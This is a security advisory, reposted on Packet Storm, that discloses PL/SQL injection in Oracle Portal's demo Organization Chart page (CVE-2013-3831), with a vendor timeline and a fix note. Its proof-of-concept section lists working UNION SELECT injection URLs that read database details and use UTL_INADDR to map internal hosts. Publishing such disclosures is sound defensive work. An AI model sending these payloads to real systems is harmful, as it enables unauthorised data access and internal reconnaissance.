what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Oracle Portal Demo Organization Chart PL/SQL Injection

Oracle Portal Demo Organization Chart PL/SQL Injection
Posted Oct 17, 2013
Authored by Manuel Garcia Cardenas | Site isecauditors.com

Oracle Portal Demo Organization Chart suffers from multiple remote PL/SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, sql injection
advisories | CVE-2013-3831
SHA-256 | 9cb3fdaacb46479a4b50a20bb9819648de8a75d662cac0949a85147a7341ca3e

Oracle Portal Demo Organization Chart PL/SQL Injection

Change Mirror Download
=============================================
INTERNET SECURITY AUDITORS ALERT 2012-001
- Original release date: November 8th, 2012
- Last revised: March 20th, 2013
- Discovered by: Manuel Garcia Cardenas
- Severity: 7,1/10 (CVSS Base Score)
- CVE-ID: CVE-2013-3831
=============================================

I. VULNERABILITY
-------------------------
PL/SQL Injection in Oracle Portal Demo Organization Chart

II. BACKGROUND
-------------------------
Web Organization Chart (Ora Version) is used to connect to the Oracle
database. Ora version of "Web Organization Chart" selects information
from the Oracle

(HR) tables and converts it into a format that is readable for the
Orgchart software.

III. DESCRIPTION
-------------------------
This bug was found using the demo portal PORTAL_DEMO.ORG_CHART.SHOW. To
exploit the vulnerability only is needed use the version 1.0 of the HTTP
protocol to

interact with the application. It is possible to inject SQL code in the
variable "p_arg_values".

IV. PROOF OF CONCEPT
-------------------------
*** SQL Injection ***

Version:
/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?

p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value'union

+select+banner,null,null,null,null+from+v$version--

User:
/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?

p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value'union

+select+user,null,null,null,null+from+dual--

Actual Database:
/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?

p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value'union

+select+global_name,null,null,null,null+from+global_name--

Lists of Databases:
/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?

p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value'union

+select+owner,null,null,null,null+from+all_tables--

*** PL/SQL Injection ***

For example, using the function UTL_INADDR.get_host_address we can found
the internal address:

/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?

p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value'union

+select+UTL_INADDR.get_host_address,null,null,null,null+from+dual--

Using a bruteforce attack on the range obtained and the function
UTL_INADDR.get_host_name(), we can acquire a list of internal hosts:

/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?

p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value

%27union+select+UTL_INADDR.get_host_name('INTERNALs-IP'),null,null,null,null+from+dual--

V. BUSINESS IMPACT
-------------------------
Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete

compromise of these client systems is also possible.

VI. SYSTEMS AFFECTED
-------------------------
Demo Page of Oracle Portal Demo Organization Chart.

VII. SOLUTION
-------------------------
All data received by the application and can be modified by the user,
before making any kind of transaction with them must be validated.

VIII. REFERENCES
-------------------------
http://www.oracle.com
http://www.isecauditors.com

IX. CREDITS
-------------------------
This vulnerability has been discovered by Manuel García Cárdenas
(mgarcia (at) isecauditors (dot) com).

X. REVISION HISTORY
-------------------------
December 02, 2012: Initial release to Oracle.
February 20, 2013: Last revision

XI. DISCLOSURE TIMELINE
-------------------------
October 25, 2012: The vulnerability is discovered.
December 2, 2012: Initial release to Oracle.
February 20, 2013: Vulnerability already corrected but will
not be included in CPUs. Credits in CPUApr2013.
October 11, 2013: The following issue reported is fixed in
the upcoming Critical Patch Update

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. Internet
Security

Auditors accepts no responsibility for any damage caused by the use or
misuse of this information.

XIII. ABOUT
-------------------------
Internet Security Auditors is a Spain based leader in web application
testing, network security, penetration testing, security compliance
implementation and

assessing. Our clients include some of the largest companies in areas
such as finance, telecommunications, insurance, ITC, etc. We are vendor
independent

provider with a deep expertise since 2001. Our efforts in R&D include
vulnerability research, open security project collaboration and
whitepapers,

presentations and security events participation and promotion. For
further information regarding our security services, contact us.

XIV. FOLLOW US
-------------------------
You can follow Internet Security Auditors, news and security advisories at:
https://www.facebook.com/ISecAuditors
https://twitter.com/ISecAuditors
http://www.linkedin.com/company/internet-security-auditors
http://www.youtube.com/user/ISecAuditors
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close